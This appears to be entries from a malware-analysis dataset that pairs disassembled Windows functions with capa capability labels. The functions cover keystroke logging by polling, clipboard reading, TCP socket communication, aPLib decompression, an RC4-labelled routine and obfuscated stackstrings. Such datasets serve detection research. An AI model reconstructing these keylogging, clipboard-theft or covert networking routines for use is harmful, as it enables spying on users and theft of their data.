joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10018d55
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edx, edx
push 8
xor eax, eax
mov dword [ebp - 0x30], edx
pop ecx
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
mov esi, 0x100
mov dword [ebp + 8], edx
stosw word es:[edi], ax
cmp dword [ebp + 0xc], esi
jne 0x10018e8d
push 0x26
push edx
lea eax, [ebp - 0x30]
push eax
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x130]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0x18
push 3
push ebx
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
jne 0x10018db3
mov eax, ebx
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x1c]
push eax
push ebx
push dword [ebp + 0x20]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], eax
call fcn.10018bd5
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x10018e8d
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0xa0
mov edi, eax
call esi
push 0xa1
shr eax, 8
mov byte [ebp - 0x90], al
call esi
push 0x10
shr eax, 8
mov byte [ebp - 0x8f], al
call esi
push edi
xor edi, edi
push edi
push 3
shr eax, 8
mov byte [ebp - 0x120], al
xor eax, eax
mov word [ebp - 8], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov esi, eax
cmp esi, 0xffffffff
je 0x10018e86
cmp esi, edi
je 0x10018e6c
jle 0x10018e86
mov ax, word [ebp + edi*2 - 8]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x30]
push eax
call fcn.100187ad
inc edi
cmp edi, esi
jl 0x10018e53
jmp 0x10018e86
mov ecx, dword [ebp + 0x10]
call fcn.10018d19
mov word [ebp - 0x10], ax
cmp ax, di
je 0x10018e86
lea eax, [ebp - 0x30]
push eax
call fcn.100187ad
mov dword [ebp + 8], 1
cmp dword [ebp - 0xe], 0
pop edi
pop esi
pop ebx
je 0x10018e9e
push dword [ebp - 0xe]
call fcn.100012ff
mov eax, dword [ebp + 8]
leave
ret 0x1c
Function at 0x10018ea5
Capabilities:
Create thread

Disassembly:
push 0x100186ca
push 0x100186b2
push 0x4a28
push 0x1002d328
call fcn.10019a37
test eax, eax
jne 0x10018f72
mov ecx, dword [0x1002d328]
or dword [ecx + 0x24], 3
test eax, eax
jne 0x10018f72
push esi
push edi
mov esi, 0x1002d368
mov dword [0x1002d368], 0x100193a8
mov dword [0x1002d374], 0x100193da
call fcn.1001968f
mov esi, 0x1002d334
mov dword [0x1002d338], 0x10019198
mov dword [0x1002d344], 0x100191be
mov dword [0x1002d33c], 0x10019118
call fcn.1001968f
xor edi, edi
mov dword [0x1002d388], 0x10019946
mov dword [0x1002d394], 0x10019996
mov dword [0x1002d38c], 0x100199b1
inc edi
mov dword [0x1002d398], edi
mov esi, 0x1002d384
call fcn.1001968f
mov dword [0x1002d358], 0x100191dd
mov esi, 0x1002d350
mov dword [0x1002d364], edi
call fcn.1001968f
pop edi
pop esi
jmp 0x1001972c
ret
push esi
xor esi, esi
mov dword [0x1002d3ac], esi
cmp dword [0x1002d3f8], esi
je 0x10019782
cmp dword [0x1002d3a0], esi
jne 0x10019782
push esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1002d3a0], eax
cmp eax, esi
je 0x1001977a
push 0x1002d3a4
push esi
push 0x1002d3a0
push 0x1001955a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1002d3a8], eax
cmp eax, esi
jne 0x10019782
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
pop esi
ret

Function at 0x10019041
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and dword [ebp - 0x30], 0
push edi
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
push 1
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x10019115
push esi
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov esi, eax
test esi, esi
je 0x10019114
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10019114
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 8], eax
test eax, eax
je 0x1001910e
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x10019104
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x26
mov edi, eax
lea eax, [ebp - 0x30]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 4]
push 3
push esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
call dword [sym.imp.USER32.dll_GetAncestor]
mov dword [ebp - 0x20], eax
lea eax, [edi + edi + 2]
push eax
call fcn.100012ea
mov dword [ebp - 0xe], eax
test eax, eax
je 0x100190fb
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x30]
push eax
call fcn.100187ad
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop edi
leave
ret
Function at 0x10019d3d
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov cl, byte [eax]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
xor ebx, ebx
mov byte [esi], cl
inc esi
inc eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0xc], edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x10]
call fcn.10019cf4
test eax, eax
je 0x10019e8c
call fcn.10019cf4
test eax, eax
je 0x10019dfa
call fcn.10019cf4
xor edi, edi
test eax, eax
je 0x10019dbd
push 4
pop esi
lea ecx, [esp + 0x10]
call fcn.10019cf4
dec esi
lea edi, [eax + edi*2]
jne 0x10019d8e
mov eax, dword [esp + 0x14]
test edi, edi
je 0x10019db1
mov ecx, dword [esp + 0x14]
sub eax, edi
mov al, byte [eax]
mov byte [ecx], al
jmp 0x10019db4
mov byte [eax], 0
inc dword [esp + 0x14]
jmp 0x10019ea0
mov eax, dword [esp + 0x10]
movzx esi, byte [eax]
inc dword [esp + 0x10]
inc edi
mov eax, esi
and eax, edi
inc eax
inc eax
shr esi, 1
je 0x10019def
test eax, eax
je 0x10019df3
mov ecx, dword [esp + 0x14]
sub ecx, esi
mov ebx, dword [esp + 0x14]
mov dl, byte [ecx]
inc dword [esp + 0x14]
inc ecx
dec eax
mov byte [ebx], dl
jne 0x10019ddd
jmp 0x10019df3
mov dword [esp + 0xc], edi
mov ebx, esi
jmp 0x10019ea2
call fcn.10019d24
test edi, edi
jne 0x10019e32
cmp eax, 2
jne 0x10019e2d
lea ecx, [esp + 0x10]
call fcn.10019d24
test eax, eax
je 0x10019e87
mov ecx, dword [esp + 0x14]
sub ecx, ebx
mov esi, dword [esp + 0x14]
mov dl, byte [ecx]
inc dword [esp + 0x14]
inc ecx
dec eax
mov byte [esi], dl
jne 0x10019e1b
jmp 0x10019e87
sub eax, 3
jmp 0x10019e34
dec eax
dec eax
mov ecx, dword [esp + 0x10]
movzx ecx, byte [ecx]
shl eax, 8
add eax, ecx
inc dword [esp + 0x10]
lea ecx, [esp + 0x10]
mov esi, eax
call fcn.10019d24
cmp esi, 0x7d00
jb 0x10019e58
inc eax
cmp esi, 0x500
jb 0x10019e61
inc eax
cmp esi, 0x80
jae 0x10019e6b
inc eax
inc eax
test eax, eax
je 0x10019e85
mov ecx, dword [esp + 0x14]
sub ecx, esi
mov edi, dword [esp + 0x14]
mov dl, byte [ecx]
inc dword [esp + 0x14]
inc ecx
dec eax
mov byte [edi], dl
jne 0x10019e75
mov ebx, esi
xor edi, edi
inc edi
jmp 0x10019ea2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov al, byte [eax]
inc dword [esp + 0x14]
inc dword [esp + 0x10]
mov byte [ecx], al
xor edi, edi
cmp dword [esp + 0xc], 0
je 0x10019d66
mov eax, dword [esp + 0x14]
sub eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001a134
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push edi
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x10], bl
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [esi + 0x18]
push 8
pop eax
call fcn.1001a956
mov edi, eax
cmp edi, ebx
jne 0x1001a20f
cmp byte [ebp - 8], 1
push 0x57
pop edi
je 0x1001a184
cmp byte [ebp - 8], 2
jne 0x1001a20f
cmp byte [ebp - 1], bl
je 0x1001a1a7
push ebx
push 1
lea eax, [ebp - 1]
push eax
push dword [esi + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1001a1a2
cmp byte [ebp - 1], bl
jne 0x1001a189
cmp byte [ebp - 1], bl
jne 0x1001a20f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea edi, [esi + 0x1c]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x1001a215
push 2
pop ecx
mov word [ebp - 0x20], cx
mov cx, word [ebp - 7]
mov word [ebp - 0x1e], cx
mov ecx, dword [ebp - 5]
mov dword [ebp - 0x1c], ecx
push 0x10
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1001a1e7
xor edi, edi
jmp 0x1001a221
push edi
call fcn.1001a2a1
mov edi, 0x4d0
mov byte [ebp - 0xf], 0x5b
push ebx
push 8
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x18]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1001a20f
mov edi, 0x4d4
mov eax, edi
pop edi
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, ebx
jne 0x1001a1f2
mov byte [ebp - 0xf], 0x5a
jmp 0x1001a1f6
Function at 0x1001a63f
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
push 0x30
mov dword [ebp - 4], 8
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x2710
mov dword [ebp - 0x10], 0x3e8
mov dword [ebp - 0xc], 0x493e0
mov dword [ebp - 8], ebx
call fcn.100012ea
mov esi, eax
cmp esi, ebx
je 0x1001a73f
push 0x30
push ebx
push esi
call sub.ntdll.dll_memset
or dword [esi + 0x18], 0xffffffff
or dword [esi + 0x1c], 0xffffffff
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0xc
lea eax, [ebp - 0x18]
push eax
push 0x98000004
push dword [ebp + 8]
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 0xc], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x1001a73a
cmp dword [edi + 0x30], ebx
je 0x1001a6de
push 4
lea eax, [ebp - 0xc]
push eax
push 0x1006
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1001a73a
push dword [ebp + 8]
push esi
call dword [edi + 0x24]
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x1001a73a
mov eax, dword [ebp + 8]
mov dword [esi + 0x18], eax
lea eax, [edi + 8]
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x10
push esi
push 0x1001a30b
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
test eax, eax
je 0x1001a723
mov eax, dword [edi + 4]
mov dword [esi], edi
mov dword [esi + 4], eax
mov dword [eax], esi
mov dword [edi + 4], esi
mov dword [ebp - 4], ebx
jmp 0x1001a72c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp - 4], ebx
je 0x1001a73f
call fcn.1001a2c9
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 4

Function at 0x1001a956
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
push 0
push edi
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1001a99e
cmp eax, 0xffffffff
jne 0x1001a992
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x1001a9a3
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
jmp 0x1001a998
sub edi, eax
add dword [esp + 0x10], eax
test edi, edi
jne 0x1001a95c
jmp 0x1001a9a3
mov esi, 0x4d4
pop edi
mov eax, esi
pop esi
ret 8
Function at 0x1001a9aa
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x194
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0xc], edi
cmp dword [ebp + 0x10], edi
jne 0x1001a9cc
push 0x57
pop ebx
jmp 0x1001aad4
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
cmp ebx, edi
jne 0x1001aaae
xor ebx, ebx
inc ebx
push 0x54
mov dword [esp + 0x10], ebx
call fcn.100012ea
mov esi, eax
cmp esi, edi
jne 0x1001aa02
push 8
pop ebx
jmp 0x1001aac9
push 0x54
push edi
push esi
call sub.ntdll.dll_memset
push 0x10
push dword [ebp + 8]
lea eax, [esi + 0x2c]
push eax
call sub.ntdll.dll_memcpy
add esp, 0x18
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
or dword [esi + 0x3c], 0xffffffff
push edi
push edi
push ebx
push edi
mov dword [esi + 4], esi
mov dword [esi], esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x40], eax
cmp eax, edi
je 0x1001aab7
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x44], eax
cmp eax, edi
jne 0x1001aa5d
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi + 0x48], eax
mov dword [esi + 0x44], eax
cmp eax, edi
je 0x1001aab7
push dword [ebp + 0x10]
call dword [sym.imp.SHLWAPI.dll_StrDupA]
push 6
push ebx
push 2
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], fcn.1001a227
mov dword [esi + 0x28], 0x1001a25b
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x3c], eax
cmp eax, 0xffffffff
je 0x1001aab7
lea eax, [esi + 0x50]
push eax
push edi
push esi
push 0x1001a748
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x4c], eax
cmp eax, edi
je 0x1001aab7
mov dword [0x1002d130], esi
xor ebx, ebx
jmp 0x1001aab2
mov esi, dword [esp + 0xc]
cmp ebx, 0xffffffff
jne 0x1001aabf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, edi
je 0x1001aad4
cmp dword [esp + 0xc], edi
je 0x1001aad4
call fcn.1001aadf
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001e469
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
xor edi, edi
push 0x40
lea eax, [ebp - 0x4c]
push edi
push eax
mov dword [ebp - 8], edi
call sub.ntdll.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
cmp esi, edi
je 0x1001e541
cmp dword [ebp + 0xc], edi
je 0x1001e541
cmp dword [ebp + 0x10], edi
je 0x1001e541
mov ecx, dword [ebp + 0xc]
call fcn.1001dda3
test eax, eax
je 0x1001e541
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1001e518
push esi
lea ecx, [ebp - 0x4c]
call fcn.1001d924
test eax, eax
je 0x1001e541
mov dword [ebp - 8], 1
push dword [ebp + 0x10]
lea eax, [ebp - 0x4c]
push dword [ebp + 0xc]
push eax
push 9
pop edx
call fcn.1001de4b
lea esi, [ebp - 0x4c]
mov ebx, eax
call fcn.1001e25c
test eax, eax
jne 0x1001e4f5
xor ebx, ebx
lea edi, [ebp - 0x4c]
call fcn.1001e3a1
test eax, eax
jne 0x1001e503
xor ebx, ebx
test ebx, ebx
jne 0x1001e514
cmp dword [ebp - 8], ebx
je 0x1001e514
push dword [ebp + 8]
call fcn.1001ae28
mov eax, ebx
jmp 0x1001e543
push 0x809
push esi
lea eax, [ebp - 0x4c]
push eax
call fcn.1001d611
push esi
test eax, eax
je 0x1001e4c0
lea eax, [ebp - 0x4c]
push eax
call fcn.1001d974
test eax, eax
jne 0x1001e4d3
lea edi, [ebp - 0x4c]
call fcn.1001d6b7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10020228
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
mov dword [ebp - 8], edi
cmp eax, ecx
jb 0x100202b5
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x10020275
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x10020297
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x10020370
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
cmp ecx, edx
jbe 0x100202dd
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x100202e8
xor eax, eax
jmp 0x10020331
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x10020305
mov ecx, dword [edi]
mov eax, dword [edi + 0x28]
push edx
call fcn.10022207
jmp 0x10020315
cmp ecx, 2
jne 0x1002031b
mov eax, dword [edi + 0x28]
push edx
mov edx, dword [edi]
call fcn.100141e2
mov dword [edi + 0x28], eax
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
push dword [edi]
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x1002035c
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x10020370
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x10020233
pop edi
pop ebx
leave
ret
Function at 0x6cfea0cf
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x6d881018]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [0x6d881018]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xc], eax
jmp 0x6cfea1a0
jmp 0x6cfea251
jmp 0x6cfea302
jmp 0x6cfea3b3
jmp 0x6cfea464
jmp 0x6cfea515
jmp 0x6cfea5c6
jmp 0x6cfea677
jmp 0x6cfea728
jmp 0x6cfea7d9
jmp 0x6cfea88a
jmp 0x6cfea93b
jmp 0x6cfea9ec
jmp 0x6cfeaa9d
mov dword [ebp - 0x14], 0
jmp 0x6cfeab55
jmp 0x6cfeac06
jmp 0x6cfeacb7
jmp 0x6cfead68
jmp 0x6cfeae19
jmp 0x6cfeaeca
jmp 0x6cfeaf7b
jmp 0x6cfeb02c
jmp 0x6cfeb0dd
jmp 0x6cfeb18e
jmp 0x6cfeb23f
jmp 0x6cfeb2f0
jmp 0x6cfeb3a1
jmp 0x6cfeb452
mov dword [ebp - 0x18], 0
jmp 0x6cfeb50a
jmp 0x6cfeb5bb
jmp 0x6cfeb66c
jmp 0x6cfeb71d
jmp 0x6cfeb7ce
jmp 0x6cfeb87f
jmp 0x6cfeb930
jmp 0x6cfeb9e1
jmp 0x6cfeba92
jmp 0x6cfebb43
jmp 0x6cfebbf4
jmp 0x6cfebca5
jmp 0x6cfebd56
jmp 0x6cfebe07
mov dword [ebp - 0x10], 0
jmp 0x6cfebebf
jmp 0x6cfebf70
jmp 0x6cfec021
jmp 0x6cfec0d2
jmp 0x6cfec183
jmp 0x6cfec234
jmp 0x6cfec2e5
jmp 0x6cfec396
jmp 0x6cfec447
jmp 0x6cfec4f8
jmp 0x6cfec5a9
jmp 0x6cfec65a
jmp 0x6cfec70b
jmp 0x6cfec7bc
mov dword [ebp - 0x10], 0
jmp 0x6cfef876
jmp 0x6cfec879
jmp 0x6cfec92a
jmp 0x6cfec9db
jmp 0x6cfeca8c
jmp 0x6cfecb3d
jmp 0x6cfecbee
jmp 0x6cfecc9f
jmp 0x6cfecd50
jmp 0x6cfece01
jmp 0x6cfeceb2
jmp 0x6cfecf63
jmp 0x6cfed014
jmp 0x6cfed0c5
jmp 0x6cfed176
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [0x6d881014]
add eax, edx
mov dword [ebp - 0x14], eax
jmp 0x6cfed238
jmp 0x6cfed2e9
jmp 0x6cfed39a
jmp 0x6cfed44b
jmp 0x6cfed4fc
jmp 0x6cfed5ad
jmp 0x6cfed65e
jmp 0x6cfed70f
jmp 0x6cfed7c0
jmp 0x6cfed871
jmp 0x6cfed922
jmp 0x6cfed9d3
jmp 0x6cfeda84
jmp 0x6cfedb35
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov edx, dword [0x6d88101c]
add eax, edx
mov dword [ebp - 0x18], eax
jmp 0x6cfedbf7
jmp 0x6cfedca8
jmp 0x6cfedd59
jmp 0x6cfede0a
jmp 0x6cfedebb
jmp 0x6cfedf6c
jmp 0x6cfee01d
jmp 0x6cfee0ce
jmp 0x6cfee17f
jmp 0x6cfee230
jmp 0x6cfee2e1
jmp 0x6cfee392
jmp 0x6cfee443
jmp 0x6cfee4f4
mov eax, dword [0x6d881008]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x14]
mov dword [esp], edx
call eax
jmp 0x6cfee5c3
jmp 0x6cfee674
jmp 0x6cfee725
jmp 0x6cfee7d6
jmp 0x6cfee887
jmp 0x6cfee938
jmp 0x6cfee9e9
jmp 0x6cfeea9a
jmp 0x6cfeeb4b
jmp 0x6cfeebfc
jmp 0x6cfeecad
jmp 0x6cfeed5e
jmp 0x6cfeee0f
jmp 0x6cfeeec0
add dword [ebp - 0xc], 0x28
jmp 0x6cfeef75
jmp 0x6cfef026
jmp 0x6cfef0d7
jmp 0x6cfef188
jmp 0x6cfef239
jmp 0x6cfef2ea
jmp 0x6cfef39b
jmp 0x6cfef44c
jmp 0x6cfef4fd
jmp 0x6cfef5ae
jmp 0x6cfef65f
jmp 0x6cfef710
jmp 0x6cfef7c1
jmp 0x6cfef872
add dword [ebp - 0x10], 1
mov eax, dword [0x6d881018]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
ja 0x6cfec7c8
nop
leave
ret
Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x20]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov dword [esi], 0x10017400
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], bl
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], bl
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WINMM.dll
mov edi, eax
call ebp
push ebx
push ebx
push ebx
push ebx
mov dword [0x1001df70], eax
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 4], 0x3e8
mov byte [esi + 0x44], bl
mov byte [esi + 0x45], bl
lea edi, [esi + 0x30]
mov ebp, 2
mov edx, dword [esi + 4]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi], eax
mov eax, dword [esi + 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi + 8], eax
add esp, 0x10
add edi, 4
dec ebp
jne 0x100010e4
lea eax, [esi + 0x46]
xor ecx, ecx
mov edx, eax
pop edi
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov word [eax], 0x31
mov word [esi + 0x48], 1
mov dword [esi + 0x4a], 0x1f40
mov dword [esi + 0x4e], 0x659
mov word [esi + 0x52], 0x41
mov word [esi + 0x54], bx
mov word [esi + 0x56], 2
mov word [esi + 0x58], 0x140
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret